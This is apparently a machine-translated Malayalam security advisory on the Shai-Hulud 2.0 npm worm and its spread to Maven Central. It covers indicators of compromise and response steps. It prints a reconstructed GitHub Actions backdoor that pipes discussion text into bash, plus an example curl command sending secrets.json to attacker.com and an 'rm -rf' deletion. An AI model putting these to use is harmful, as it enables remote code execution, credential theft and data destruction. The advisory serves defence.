അച്ചു ഡി.ആർ.
2025 നവംബർ 24-ന് ഗവേഷകർ കണ്ടെത്തിയത് ഷായ് ഹുലുദ്: രണ്ടാം വരവ്, ഒരു പുതിയ തരംഗം എൻപിഎം സപ്ലൈ ചെയിൻ ആക്രമണം അത് npm പാക്കേജുകളെ വീണ്ടും ബാധിക്കുകയും, ക്രെഡൻഷ്യലുകൾ മോഷ്ടിക്കുകയും, ഡെവലപ്പർ മെഷീനുകളിലുടനീളം വ്യാപിക്കുകയും ചെയ്യുന്നു, കൂടാതെ CI/CD pipelines. ആദ്യ സംഭവത്തിൽ നിന്ന് വ്യത്യസ്തമായി, ഈ പതിപ്പ് ബൺ റൺടൈം ഉടനടി ഇൻസ്റ്റാൾ ചെയ്യുന്നു, മറഞ്ഞിരിക്കുന്ന GitHub Actions ബാക്ക്ഡോറുകൾ വിന്യസിക്കുന്നു, കൂടാതെ Linux, macOS, Windows എന്നിവയിലെ മുഴുവൻ ഹോം ഡയറക്ടറികളും മായ്ക്കാൻ കഴിവുള്ള ഒരു വിനാശകരമായ വൈപ്പർ ഉൾപ്പെടുന്നു. മണിക്കൂറുകൾക്കുള്ളിൽ, കോംപ്രമൈസ് ചെയ്ത പാക്കേജുകളുടെ എണ്ണം 830 കവിഞ്ഞു, ഇത് ഒരു ലളിതമായ വകഭേദമല്ലെന്നും എന്നാൽ ഒരു പ്രധാന വർദ്ധനവാണെന്നും സ്ഥിരീകരിച്ചു. യഥാർത്ഥ പുഴു.
ആഘാതം: പബ്ലിക് npm പാക്കേജുകൾ ഇൻസ്റ്റാൾ ചെയ്യുന്ന ഏതെങ്കിലും ഡെവലപ്പർ അല്ലെങ്കിൽ CI റണ്ണർ വെളിപ്പെടുത്തിയിട്ടുണ്ടാകാം. ബാധിച്ച പാക്കേജുകൾ മാവൻ സെൻട്രലിലേക്ക് യാന്ത്രികമായി മിറർ ചെയ്തതിനുശേഷം ജാവ ടീമുകളും അപകടത്തിലാണ്.
ഉടനടിയുള്ള പ്രവർത്തനങ്ങൾ: അറിയപ്പെടുന്ന മാലിഷ്യസ് പതിപ്പുകൾ തടയുക, ലോക്ക്ഫയൽ-ഒൺലി ഇൻസ്റ്റാളുകൾ നടപ്പിലാക്കുക, npm, GitHub, ക്ലൗഡ് ക്രെഡൻഷ്യലുകൾ എന്നിവ തിരിക്കുക, അജ്ഞാത സെൽഫ്-ഹോസ്റ്റഡ് റണ്ണറുകൾ നീക്കം ചെയ്യുക, setup_bun.js, bun_environment.js പോലുള്ള IoC-കൾക്കായുള്ള നിരീക്ഷണം, “Sha1-Hulud: The Second Coming” അടങ്ങിയിരിക്കുന്ന സംശയാസ്പദമായ GitHub റിപ്പോസിറ്ററികൾ എന്നിവ.
എന്താണ് മാറിയത്: എൻപിഎം സപ്ലൈ ചെയിൻ ആക്രമണത്തിൽ ഷായ് ഹുലുദ് മാവെനിലേക്ക് ചാടിയപ്പോൾ
ഷായ് ഹുലുദ് ആക്രമണത്തിന്റെ രണ്ടാം തരംഗം ഒരു വലിയ വർദ്ധനവിന് കാരണമായി. ആദ്യ കാമ്പെയ്നിൽ, വേം npm ആവാസവ്യവസ്ഥയ്ക്കുള്ളിൽ തന്നെ തുടർന്നു. ഇത്തവണ, മാൽവെയർ കടന്നുകയറിയത് മാവെൻ സെൻട്രൽ, npm-നെ ഒരിക്കലും സ്പർശിക്കാത്ത ജാവ ടീമുകളെ തുറന്നുകാട്ടുന്നു.
ടൈംലൈനും ടോക്കൺ വിൻഡോയും
ആക്രമണം ആരംഭിച്ചത് നവംബർ 24, 2025, npm അതിന്റെ ലെഗസി പ്രാമാണീകരണ ടോക്കണുകൾ പിൻവലിക്കുന്നതിന് തൊട്ടുമുമ്പ് ഡിസംബർ 9.
ഈ പഴയ ടോക്കണുകൾ മോഷ്ടിക്കാനും വീണ്ടും ഉപയോഗിക്കാനും എളുപ്പമായിരുന്നു. ഈ വിൻഡോയിൽ ആക്രമണകാരികൾക്ക് അവയിലേക്ക് ഇപ്പോഴും ആക്സസ് ഉണ്ടായിരുന്നതിനാൽ, കട്ട്ഓഫിന് മുമ്പ് നൂറുകണക്കിന് ക്ഷുദ്ര പതിപ്പുകൾ അതിവേഗത്തിൽ വീണ്ടും പ്രസിദ്ധീകരിക്കാൻ അവർക്ക് കഴിഞ്ഞു.
മാവെനിൽ മാൽവെയർ എങ്ങനെ എത്തി?
ക്രോസ്-രജിസ്ട്രിയിലെ കുതിപ്പ് സംഭവിച്ചത് എംവിഎൻപിഎം, npm പാക്കേജുകളെ മാവൻ ആർട്ടിഫാക്റ്റുകളാക്കി മാറ്റുന്ന ഒരു ഓട്ടോമേറ്റഡ് മിററിംഗ് ടൂൾ.
mvnpm സുരക്ഷാ പരിശോധനകൾ നടത്തുന്നില്ല. npm പ്രസിദ്ധീകരിക്കുന്നതെന്തും അത് വീണ്ടും പാക്കേജ് ചെയ്യുന്നു.
തൽഫലമായി:
- ഒരു വിട്ടുവീഴ്ച ചെയ്യാത്ത npm പാക്കേജ് (ഉദാഹരണത്തിന് പോസ്റ്റ്ഹോഗ്-നോഡ്@4.18.1)
- ഒരു മാവെൻ ആർട്ടിഫാക്റ്റായി യാന്ത്രികമായി പരിവർത്തനം ചെയ്യപ്പെട്ടു.
org.mvnpm:പോസ്റ്റ്ഹോഗ്-നോഡ്:4.18.1 - വൈറസ് ബാധിച്ചിട്ടുണ്ടെന്ന് ആരും മനസ്സിലാക്കുന്നതിന് മുമ്പ് മാവൻ സെൻട്രലിൽ പ്രസിദ്ധീകരിച്ചു.
ഇതുകൊണ്ട് അർത്ഥമാക്കുന്നത് ജാവ ഡെവലപ്പർമാർ ഒരു npm ലംഘനത്തിന് ഇരയായി, അവർ ഒരിക്കലും ഒരു npm പാക്കേജ് ഇൻസ്റ്റാൾ ചെയ്തിട്ടില്ലെങ്കിൽ പോലും.
എന്തുകൊണ്ട് ഇത് പ്രാധാന്യമർഹിക്കുന്നു
ഇതാണ് ആദ്യമായി അറിയപ്പെടുന്ന ക്രോസ്-രജിസ്ട്രി വേം, ഒരു വിതരണ ശൃംഖല ആക്രമണം ഒരു ആവാസവ്യവസ്ഥയിൽ നിന്ന് മറ്റൊന്നിലേക്ക് ഓട്ടോമേഷൻ വഴി മാത്രം വ്യാപിക്കുന്നിടത്ത്.
ഇക്കാരണത്താൽ, ബ്ലാസ്റ്റ് റേഡിയസിൽ ഇപ്പോൾ ജാവ, ജെവിഎം വർക്ക്ലോഡുകൾ ഉൾപ്പെടുന്നു, കൂടാതെ enterprise മാവെൻ സെൻട്രലിനെ ആശ്രയിക്കുന്ന സംവിധാനങ്ങൾ നിർമ്മിക്കുക.
ഷായ് ഹുലുദ് 2.0 ഇത്ര ഗൗരവമുള്ളതാക്കുന്നത് എന്താണ്?
കണ്ടെത്തൽ ഒഴിവാക്കാൻ ഉപയോഗിക്കുന്ന ബൺ റൺടൈം
ആക്രമണകാരികൾ Node.js-ൽ നിന്ന് Bun റൺടൈമിലേക്ക് മാറി. മാൽവെയർ ബൺ ഓൺ-ദി-ഫ്ലൈ വഴി ഇൻസ്റ്റാൾ ചെയ്യുന്നു. സെറ്റപ്പ്_ബൺ.ജെഎസ് പാക്കേജ് ഇൻസ്റ്റാളേഷൻ സമയത്ത്. ഇത് നോഡ്-നിർദ്ദിഷ്ട നിരീക്ഷണം ഒഴിവാക്കുകയും ആക്രമണകാരികൾക്ക് വളരെ വലിയ ഒരു അവ്യക്ത പേലോഡിനായി വേഗത്തിലുള്ള നിർവ്വഹണം നൽകുകയും ചെയ്യുന്നു.
കമാൻഡ് ബാക്ക്ഡോറായി ഉപയോഗിക്കുന്ന GitHub പ്രവർത്തനങ്ങൾ
ഇൻസ്റ്റാൾ ചെയ്തുകഴിഞ്ഞാൽ, മാൽവെയർ ഒരു മറഞ്ഞിരിക്കുന്ന GitHub Actions സെൽഫ്-ഹോസ്റ്റഡ് റണ്ണർ സൃഷ്ടിക്കുന്നു $ഹോം/.dev-env/. ഇത് വിൻഡോസ്, മാക്ഒഎസ്, ലിനക്സ് എന്നിവയിൽ പ്രവർത്തിക്കുന്നു. ഒരു അപഹരിക്കപ്പെട്ട റിപ്പോസിറ്ററിയിലെ ഗിറ്റ്ഹബ് ചർച്ചകളിൽ സന്ദേശങ്ങൾ പോസ്റ്റ് ചെയ്തുകൊണ്ട് ആക്രമണകാരികൾക്ക് കമാൻഡുകൾ പ്രവർത്തിപ്പിക്കാൻ കഴിയും. ഒരു വർക്ക്ഫ്ലോ ഫയൽ ആ സന്ദേശങ്ങൾ പ്രോസസ്സ് ചെയ്യുകയും ഷെൽ കമാൻഡുകളായി എക്സിക്യൂട്ട് ചെയ്യുകയും ചെയ്യുന്നു.
ബിൽറ്റ്-ഇൻ വൈപ്പർ
GitHub അല്ലെങ്കിൽ npm ഉപയോഗിച്ച് മാൽവെയറിന് പ്രാമാണീകരണം നൽകാൻ കഴിയുന്നില്ലെങ്കിൽ, അത് ഇരയുടെ ഹോം ഡയറക്ടറി മായ്ക്കും.
- വിൻഡോസിൽ ഇത് ഉപയോഗിക്കുന്നത് Del, rd, ഒപ്പം സൈഫർ /W ഫയലുകൾ മായ്ക്കാൻ.
- ലിനക്സിലും മാകോസിലും ഇത് ഡാറ്റയെ ഓവർറൈറ്റ് ചെയ്യുന്നു കീറിപറിഞ്ഞു തുടർന്ന് ഡയറക്ടറികൾ നീക്കം ചെയ്യുന്നു.
വളരെ ശബ്ദായമാനമായ ഒരു പ്രചാരണം
മാൽവെയർ ചില രഹസ്യങ്ങൾ ഉപയോഗിക്കുന്നുണ്ടെങ്കിലും (ഉദാഹരണത്തിന്, ബൺ ഉപയോഗിച്ച്), മൊത്തത്തിലുള്ള കാമ്പെയ്ൻ ഒട്ടും നിശബ്ദമല്ല. ഇത് അപഹരിക്കപ്പെട്ട പാക്കേജുകൾ ആക്രമണാത്മകമായി പുനഃപ്രസിദ്ധീകരിക്കുന്നു, നൂറുകണക്കിന് അല്ലെങ്കിൽ ആയിരക്കണക്കിന് പുതിയ റിപ്പോസിറ്ററികൾ സൃഷ്ടിക്കുന്നു, ക്രെഡൻഷ്യൽ ഡമ്പുകൾ ബൾക്കായി അപ്ലോഡ് ചെയ്യുന്നു, കൂടാതെ ഡെവലപ്പർ മെഷീനുകളിൽ ദീർഘകാലം നിലനിൽക്കുന്ന സ്വയം-ഹോസ്റ്റുചെയ്ത റണ്ണറുകൾ ഇൻസ്റ്റാൾ ചെയ്യുന്നു. ഇതൊന്നും താഴ്ന്ന പ്രൊഫൈൽ സ്വഭാവമല്ല. മിക്ക സപ്ലൈ ചെയിൻ വിട്ടുവീഴ്ചകളുമായി താരതമ്യപ്പെടുത്തുമ്പോൾ ഈ ആക്രമണത്തിന്റെ സ്കെയിൽ, വേഗത, പ്രവർത്തന "ശബ്ദത" എന്നിവ വേറിട്ടുനിൽക്കുന്നു, അവ കഴിയുന്നത്ര കാലം കാണപ്പെടാതിരിക്കാൻ മുൻഗണന നൽകുന്നു..
വിശാലമായ ആഘാതം
ആക്രമണകാരികൾ ദശലക്ഷക്കണക്കിന് പ്രതിമാസ ഡൗൺലോഡുകളുള്ള നിരവധി പ്രശസ്ത പാക്കേജുകൾ അപഹരിച്ചു, അവയിൽ ഇവ ഉൾപ്പെടുന്നു:
സാപ്പിയർ, ഇഎൻഎസ് ഡൊമെയ്നുകൾ, പോസ്റ്റ്മാൻ, പോസ്റ്റ്ഹോഗ്, അസിൻകാപിഐ, വോയ്സ്ഫ്ലോ.
സാധ്യമായ ആട്രിബ്യൂഷൻ സിഗ്നലുകൾ
ആട്രിബ്യൂഷൻ ഇവിടെ ബുദ്ധിമുട്ടാണ്, കൂടാതെ ഈ കാമ്പെയ്നിന് പിന്നിൽ സ്ഥിരീകരിച്ച ഉറവിടവുമില്ല. ഒരു പ്രധാന സുരക്ഷാ സ്ഥാപനം പറയുന്നത്, ഈ പ്രവർത്തനം മുമ്പത്തെ ഷായ്-ഹുലുദ് വേമിനോട് സാമ്യമുള്ളതാണെന്നാണ്, എന്നാൽ പേലോഡ് എങ്ങനെ നിർമ്മിക്കപ്പെടുന്നു എന്നതിലെയും മാൽവെയർ എങ്ങനെ വ്യാപിക്കുന്നു എന്നതിലെയും വ്യത്യാസങ്ങൾ വ്യത്യസ്തമായ ഓപ്പറേറ്റർമാരുടെ സാധ്യതയിലേക്ക് വിരൽ ചൂണ്ടുന്നു. npm നീക്കം ചെയ്യുന്നതിനുമുമ്പ് ഒന്നിലധികം പരിതസ്ഥിതികൾ കോംപ്രമൈസ് ചെയ്ത പാക്കേജുകൾ ഡൗൺലോഡ് ചെയ്തതായി അവരുടെ വിലയിരുത്തൽ എടുത്തുകാണിക്കുന്നു, ഇത് ഒരു ഹ്രസ്വകാല പരീക്ഷണത്തേക്കാൾ യഥാർത്ഥ ലോക എക്സ്പോഷറിനെ സൂചിപ്പിക്കുന്നു.
ആദ്യ തരംഗത്തെ പ്രതിധ്വനിപ്പിക്കുന്ന തന്ത്രങ്ങളാണെങ്കിലും പ്രധാന സ്ഥലങ്ങളിൽ, പ്രത്യേകിച്ച് പേലോഡ് ഘടന, പ്രചാരണ യുക്തി, പ്രവർത്തന "ശൈലി" എന്നിവയിൽ വ്യത്യാസമുണ്ടെങ്കിലും, ഒരു കോപ്പിയടി സാഹചര്യം വിശ്വസനീയമാണ്. ആക്രമണകാരികൾ ഷായ്-ഹുലുദിൽ നിന്ന് ആശയങ്ങൾ കടമെടുത്തതാകാം, പക്ഷേ അവരുടെ സ്വന്തം ആയുധങ്ങൾ ഉപയോഗിച്ചിരിക്കാം. മുമ്പത്തെ പ്രചാരണത്തെ പൂർണ്ണമായും അനുകരിക്കാൻ ശ്രമിക്കുന്ന മറ്റൊരു ഗ്രൂപ്പിനെ ഇത് പ്രതിനിധീകരിക്കാം.
ഈ ഘട്ടത്തിൽ, അറിയപ്പെടുന്ന ഏതെങ്കിലും നടനുമായോ, സാമ്പത്തികമായി പ്രേരിതമായ ഗ്രൂപ്പുമായോ, അല്ലെങ്കിൽ സംസ്ഥാനവുമായി ബന്ധപ്പെട്ട സ്ഥാപനവുമായോ ഇതിനെ ബന്ധിപ്പിക്കുന്നതിന് ശക്തമായ തെളിവുകളൊന്നുമില്ല. യഥാർത്ഥ വേമുമായുള്ള ഓവർലാപ്പ് യഥാർത്ഥമാണ്, പക്ഷേ ആട്രിബ്യൂഷനെ “സ്ഥിരീകരിക്കാത്ത” വിഭാഗത്തിൽ നിലനിർത്താൻ വ്യത്യാസങ്ങൾ പര്യാപ്തമാണ്.
മാവെനിലേക്ക് വ്യാപിക്കുക
ഒരു പ്രമുഖ സുരക്ഷാ സ്ഥാപനം സ്ഥിരീകരിച്ചു, ക്ഷുദ്രകരമായ npm പാക്കേജുകൾ മാവനിലേക്ക് സ്വയമേവ പുനഃപ്രസിദ്ധീകരിച്ചു. എംവിഎൻപിഎം, മാനുവൽ അവലോകനം കൂടാതെ npm പാക്കേജുകളെ മാവൻ ആർട്ടിഫാക്റ്റുകളാക്കി മാറ്റുന്ന ഒരു ഉപകരണം.
താഴെ പറയുന്ന പാക്കേജ് മാവെൻ സെൻട്രലിലേക്ക് മാറ്റി: org.mvnpm:പോസ്റ്റ്ഹോഗ്-നോഡ്:4.18.1
npm പ്രസിദ്ധീകരിക്കുന്നതെന്തും mvnpm വീണ്ടും പായ്ക്ക് ചെയ്യുന്നതിനാൽ, ആരും തിരിച്ചറിയുന്നതിന് മുമ്പ് തന്നെ, ബാധിച്ച പതിപ്പുകൾ ജാവ ആവാസവ്യവസ്ഥയിൽ പ്രതിഫലിച്ചു.
2025 നവംബർ 25-ന് മാവെൻ സെൻട്രൽ ബാധിച്ച പുരാവസ്തുക്കൾ നീക്കം ചെയ്യുകയും സമാനമായ ക്രോസ്-രജിസ്ട്രി പ്രശ്നങ്ങൾ തടയുന്നതിനായി നിയന്ത്രണങ്ങൾ കർശനമാക്കുകയും ചെയ്തു.
ഇതിനർത്ഥം npm-മായി നേരിട്ട് ബന്ധമില്ലാത്ത ജാവ പ്രോജക്ടുകൾ ഇപ്പോഴും തുറന്നുകാട്ടപ്പെടാമായിരുന്നു എന്നാണ്.
ഷായ് ഹുലുദ് 2.0 ആക്രമണം എങ്ങനെ പ്രവർത്തിക്കുന്നു
അണുബാധ പ്രവാഹം
- ഒരു ദുഷ്ടൻ പ്രീഇൻസ്റ്റാൾ ചെയ്യുക സ്ക്രിപ്റ്റ് ഇതിലേക്ക് ചേർത്തു package.json.
- സെറ്റപ്പ്_ബൺ.ജെഎസ് ബൺ നഷ്ടപ്പെട്ടാൽ ഇരയുടെ മെഷീനിൽ ബൺ ഇൻസ്റ്റാൾ ചെയ്യുന്നു.
- ബൺ_എൻവയോൺമെന്റ്.ജെഎസ് (അവ്യക്തമാക്കിയ കോഡിന്റെ 480k-ലധികം വരികൾ) പശ്ചാത്തലത്തിൽ പ്രവർത്തിക്കുന്നു.
- ട്രഫിൾഹോഗിന് സമാനമായ സാങ്കേതിക വിദ്യകൾ ഉപയോഗിച്ച് മാൽവെയർ ക്രെഡൻഷ്യലുകൾക്കായി സ്കാൻ ചെയ്യുന്നു. ഇത് തിരയുന്നത്
- AWS, GCP, Azure കീകൾ
- GitHub ടോക്കണുകൾ
- npm ടോക്കണുകൾ
- CI സിസ്റ്റം രഹസ്യങ്ങൾ
- AWS, GCP, Azure കീകൾ
- മോഷ്ടിച്ച ഡാറ്റ "Sha1-Hulud: The Second Coming" എന്ന വിവരണമുള്ള പൊതു GitHub ശേഖരണങ്ങളിലേക്ക് അപ്ലോഡ് ചെയ്യപ്പെടുന്നു.
- പിടിച്ചെടുത്ത ടോക്കണുകൾ ഉപയോഗിച്ച്, മാൽവെയർ പാക്കേജുകളുടെ അപഹരിക്കപ്പെട്ട പതിപ്പുകൾ പ്രസിദ്ധീകരിക്കുന്നു, ആക്സസ് ചെയ്യാവുന്ന GitHub ശേഖരണങ്ങളെ ബാധിക്കുന്നു, റിമോട്ട് കോഡ് നിർവ്വഹണത്തിനായി സ്ഥിരമായി സ്വയം ഹോസ്റ്റുചെയ്ത റണ്ണറുകൾ ഇൻസ്റ്റാൾ ചെയ്യുന്നു.
ക്ഷുദ്രകരമായ GitHub വർക്ക്ഫ്ലോകൾ
ഷായ്-ഹുലുദ് എൻപിഎം സപ്ലൈ ചെയിൻ ആക്രമണത്തിന്റെ രണ്ടാം തരംഗത്തിൽ, മാൽവെയർ സൃഷ്ടിച്ചത് രണ്ട് മറഞ്ഞിരിക്കുന്ന GitHub പ്രവർത്തന വർക്ക്ഫ്ലോകൾ അപഹരിക്കപ്പെട്ട റിപ്പോസിറ്ററികൾക്കുള്ളിൽ. ഈ വർക്ക്ഫ്ലോകൾ ആക്രമണകാരികൾക്ക് റിമോട്ട് കോഡ് എക്സിക്യൂഷൻ, ദീർഘകാല സ്ഥിരത, സിസ്റ്റം രഹസ്യങ്ങളിലേക്കുള്ള പൂർണ്ണ ആക്സസ് എന്നിവ നൽകുന്നു.
1. ബാക്ക്ഡോർ വർക്ക്ഫ്ലോ (discussion.yaml)
ഏറ്റവും അപകടകരമായ വർക്ക്ഫ്ലോ കേൾക്കുന്നു ഗിറ്റ്ഹബ് ചർച്ചകൾ ഇവന്റുകൾ. ഒരു ചർച്ചാ സന്ദേശം സൃഷ്ടിക്കുമ്പോഴോ എഡിറ്റ് ചെയ്യുമ്പോഴോ, വർക്ക്ഫ്ലോ സന്ദേശ ബോഡി വായിക്കുകയും അത് ഒരു ഷെൽ കമാൻഡ് ഇരയുടെ മെഷീനിൽ.
നിരീക്ഷിച്ച സാമ്പിളുകളിൽ നിന്ന് പുനർനിർമ്മിച്ച, ക്ഷുദ്രകരമായ വർക്ക്ഫ്ലോയുടെ ലളിതമായ ഒരു പതിപ്പ് ചുവടെയുണ്ട്:
# .github/workflows/discussion.yaml
name: Discussion Backdoor
on:
discussion:
types: [created, edited]
jobs:
exec:
runs-on: self-hosted
steps:
- name: Execute attacker command
run: |
echo "${{ github.event.discussion.body }}" | bash
നിർണായക രേഖ ഇതാണ്:
${{ github.event.discussion.body }}
അതായത് ആക്രമണകാരിക്ക് ഒരു GitHub ചർച്ചയ്ക്കുള്ളിൽ ഏത് കമാൻഡും പോസ്റ്റ് ചെയ്യാൻ കഴിയും, സ്വയം ഹോസ്റ്റ് ചെയ്ത റണ്ണർ അത് ഉടനടി നടപ്പിലാക്കും. സ്വയം ഹോസ്റ്റ് ചെയ്ത റണ്ണേഴ്സിന് പലപ്പോഴും ആന്തരിക നെറ്റ്വർക്കുകൾ, ക്ലൗഡ് ക്രെഡൻഷ്യലുകൾ, CI രഹസ്യങ്ങൾ എന്നിവയിലേക്ക് ആക്സസ് ഉള്ളതിനാൽ, ഷായ് ഹുലുദ് NPM സപ്ലൈ ചെയിൻ ആക്രമണ സമയത്ത് ഈ ബാക്ക്ഡോർ ആക്രമണകാരിക്ക് പൂർണ്ണമായ റിമോട്ട് കോഡ് എക്സിക്യൂഷൻ നൽകുന്നു.
കമാൻഡ് ഇഞ്ചക്ഷൻ ചൂഷണം
ഈ വർക്ക്ഫ്ലോ GitHub Actions എക്സ്പ്രഷനുകൾ പ്രോസസ്സ് ചെയ്യുന്ന രീതിയെ ദുരുപയോഗം ചെയ്യുന്നു. സുരക്ഷിത സ്ട്രിംഗുകളിലേക്ക് ഇൻപുട്ട് പരിമിതപ്പെടുത്തുന്നതിനുപകരം, ഇത് അസംസ്കൃത ചർച്ചാ ഉള്ളടക്കം വായിക്കുകയും അത് നേരിട്ട് ഷെല്ലിലേക്ക് പൈപ്പ് ചെയ്യുകയും ചെയ്യുന്നു. തൽഫലമായി, ആക്രമണകാരിക്ക് ഇതുപോലുള്ള ഒരു സന്ദേശം പോസ്റ്റ് ചെയ്താൽ മതിയാകും:
rm -rf /important/folder
curl -X POST https://attacker.com --data @secrets.json
ഷായ് ഹുലുദ് എൻപിഎം സപ്ലൈ ചെയിൻ ആക്രമണത്തിനിടെ ഈ സ്വഭാവം ആവർത്തിച്ച് പ്രത്യക്ഷപ്പെട്ടതിനാൽ, മാൽവെയർ ഒരു റിമോട്ട് കമാൻഡ് ചാനലായി ഗിറ്റ്ഹബ് പ്രവർത്തനങ്ങൾ ഉപയോഗിക്കുന്നുണ്ടെന്നതിന്റെ ഏറ്റവും വ്യക്തമായ സൂചനകളിൽ ഒന്നായി ഇത് മാറി.
സ്വയം ഹോസ്റ്റ് ചെയ്യുന്ന ഓട്ടക്കാർ ഇത് കൂടുതൽ വഷളാക്കുന്നു കാരണം അവർ:
- കമ്പനി നെറ്റ്വർക്കുകൾക്കുള്ളിൽ പ്രവർത്തിക്കുക
- മേഘം പിടിക്കുക അല്ലെങ്കിൽ CI/CD യോഗ്യതകൾ
- ഉപയോക്താവിന്റെ അനുമതികളോടെ നടപ്പിലാക്കുക
- GitHub-ന്റെ സാൻഡ്ബോക്സിംഗ് അല്ലെങ്കിൽ ഐസൊലേഷൻ ഇല്ല.
ഇത് ആക്രമണകാരികൾക്ക് ആന്തരിക പരിതസ്ഥിതികളിലേക്ക് സ്ഥിരമായ ഒരു കമാൻഡ് ചാനൽ നൽകുന്നു.
രഹസ്യ, സിസ്റ്റം ശേഖരണ വർക്ക്ഫ്ലോ
ബാക്ക്ഡോറിനു പുറമേ, മാൽവെയർ മറ്റൊരു വർക്ക്ഫ്ലോ ഉപേക്ഷിക്കുന്നു, അതിന്റെ ലക്ഷ്യം ബാധിച്ച സിസ്റ്റത്തിൽ നിന്ന് സെൻസിറ്റീവ് ഡാറ്റ ശേഖരിച്ച് സംഭരിക്കുക എന്നതാണ്.
ഈ വർക്ക്ഫ്ലോകൾ ഇവയെ ശേഖരിക്കുന്നു:
- ക്ലൗഡ് ക്രെഡൻഷ്യലുകൾ
- പരിസ്ഥിതി വേരിയബിളുകൾ
- ഡയറക്ടറി ലിസ്റ്റിംഗുകൾ
- ട്രഫിൾഹോഗ് ശൈലിയിലുള്ള രഹസ്യ സ്കാനുകൾ
അവർ ശേഖരിച്ച ഡാറ്റ ഇനിപ്പറയുന്നതുപോലുള്ള ഫയലുകളിൽ സംഭരിക്കുന്നു:
- ക്ലൗഡ്.ജെസൺ
- പരിസ്ഥിതി.ജെസൺ
- കണ്ടന്റ്സ്.ജെസൺ
- ട്രഫിൾ സീക്രട്ട്സ്.ജെസൺ
ഈ ഫയലുകൾ പിന്നീട് ആക്രമണകാരി നിയന്ത്രിത GitHub ശേഖരണങ്ങളിലേക്ക് അപ്ലോഡ് ചെയ്യപ്പെടും, അതിൽ "ഷാ1-ഹുലുദ്: രണ്ടാം വരവ്", അവിടെ നൂറുകണക്കിന് അല്ലെങ്കിൽ ആയിരക്കണക്കിന് മാലിന്യക്കൂമ്പാരങ്ങൾ നിരീക്ഷിക്കപ്പെട്ടു.
വിട്ടുവീഴ്ചയുടെ സൂചകങ്ങൾ
| ഫയല് | ശക്സനുമ്ക്സ |
|---|---|
| സെറ്റപ്പ്_ബൺ.ജെഎസ് | a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a |
| ബൺ_എൻവയോൺമെന്റ്.ജെഎസ് | 62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0 |
മറ്റ് ചുവന്ന പതാകകൾ
- .github/വർക്ക്ഫ്ലോകൾ/ഡിസ്കഷൻ.yaml
- $ഹോം/.dev-env/ അപ്രതീക്ഷിത ഓട്ടക്കാരെ ഉൾക്കൊള്ളുന്നു
- നിങ്ങളുടെ അക്കൗണ്ടിൽ “Sha1-Hulud: The Second Coming” അടങ്ങിയ പൊതു GitHub ശേഖരങ്ങൾ സൃഷ്ടിച്ചിരിക്കുന്നു.
അപ്ഡേറ്റ് ചെയ്ത മെട്രിക്കുകൾ (2025 നവംബർ 26 മുതൽ)
| മെട്രിക് | എണ്ണുക |
|---|---|
| npm പാക്കേജുകൾ അപകടത്തിൽപ്പെട്ടു | 830 + |
| ബാധിച്ച GitHub ശേഖരണങ്ങൾ | 28,000 + |
| രഹസ്യ ഫയലുകൾ അപ്ലോഡ് ചെയ്തു | 5,000 + |
| ശേഖരിച്ച ആകെ രഹസ്യങ്ങൾ | 11,858 |
| സാധുവായ രഹസ്യങ്ങൾ | 2,298 |
ഇനി എന്തുചെയ്യണം: ഷായ് ഹുലുദ് എൻപിഎം സപ്ലൈ ചെയിൻ ആക്രമണത്തോടുള്ള പ്രതികരണം
ഷായ് ഹുലുദ് എൻപിഎം സപ്ലൈ ചെയിൻ ആക്രമണത്തിന് വേഗതയേറിയതും ഘടനാപരവുമായ പ്രതികരണം ആവശ്യമാണ്. ഈ രണ്ടാം തരംഗം npm, GitHub, ഡെവലപ്പർ മെഷീനുകൾ, മാവൻ സെൻട്രൽ എന്നിവയിൽ പോലും വ്യാപിക്കുന്നതിനാൽ, ഏതെങ്കിലും എക്സ്പോഷർ കണ്ടെത്തുന്നതിനും നിയന്ത്രിക്കുന്നതിനും പൂർണ്ണമായും പരിഹരിക്കുന്നതിനും ടീമുകൾ വേഗത്തിൽ നീങ്ങണം. ശരിയായ ക്രമത്തിൽ പ്രതികരിക്കാനും കൂടുതൽ വിട്ടുവീഴ്ചയുടെ സാധ്യത കുറയ്ക്കാനും താഴെയുള്ള ഘട്ടങ്ങൾ നിങ്ങളെ സഹായിക്കുന്നു.
കണ്ടെത്തൽ
- "Sha1-Hulud: The Second Coming" എന്ന വിവരണമുള്ള റിപ്പോകൾക്കായി GitHub-ൽ തിരയുക.
- പാക്കേജ് ഇൻസ്റ്റാൾ ചെയ്യുമ്പോൾ ബൺ ഇൻസ്റ്റലേഷൻ ലോഗുകൾ നോക്കുക.
- പ്രത്യേകിച്ച് അപ്രതീക്ഷിത ലൈഫ് സൈക്കിൾ സ്ക്രിപ്റ്റുകൾക്കായി package.json ഫയലുകൾ പരിശോധിക്കുക പ്രീഇൻസ്റ്റാൾ ചെയ്യുക.
- പരിശോധിക്കുക $ഹോം/.dev-env/ ഡെവലപ്പർ അല്ലെങ്കിൽ CI സിസ്റ്റങ്ങളിൽ.
- സംശയാസ്പദമായ റിലീസുകൾക്കായി GitHub, npm പ്രസിദ്ധീകരണ ലോഗുകൾ അവലോകനം ചെയ്യുക.
കണ്ടെയ്നർ
- എല്ലാ ക്രെഡൻഷ്യലുകളും തിരിക്കുക: GitHub, npm, ക്ലൗഡ്, CI രഹസ്യങ്ങൾ, API കീകൾ.
- അജ്ഞാത സ്വയം ഹോസ്റ്റ് ചെയ്ത റണ്ണേഴ്സിനെ പ്രവർത്തനരഹിതമാക്കുകയും നീക്കം ചെയ്യുകയും ചെയ്യുക.
- റിപ്പോ സൃഷ്ടി താൽക്കാലികമായി പൂട്ടിയിടുക.
- നിങ്ങളുടെ ആശ്രിതത്വ ഗ്രാഫിൽ നിന്ന് ബാധിച്ച പതിപ്പുകൾ നീക്കം ചെയ്യുക.
പ്രതിവിധി
- ബാധിച്ച സിസ്റ്റങ്ങൾ വൃത്തിയാക്കുക.
- ഇഞ്ചക്ട് ചെയ്ത ഫയലുകൾക്കായുള്ള എല്ലാ GitHub Actions വർക്ക്ഫ്ലോകളും അവലോകനം ചെയ്യുക.
- അസാധാരണമായ കമാൻഡുകൾക്കോ റണ്ണുകൾക്കോ വേണ്ടി നിങ്ങളുടെ CI ലോഗുകളിൽ തിരയുക.
അറിയപ്പെടുന്ന നല്ല പാക്കേജ് പതിപ്പുകളിൽ നിന്ന് പുനർനിർമ്മിക്കുക.
ഷായ്-ഹുലുദ് രണ്ടാം വരവ് പോലെ ആക്രമണങ്ങൾ തടയാൻ സൈജെനി എങ്ങനെ സഹായിക്കുന്നു
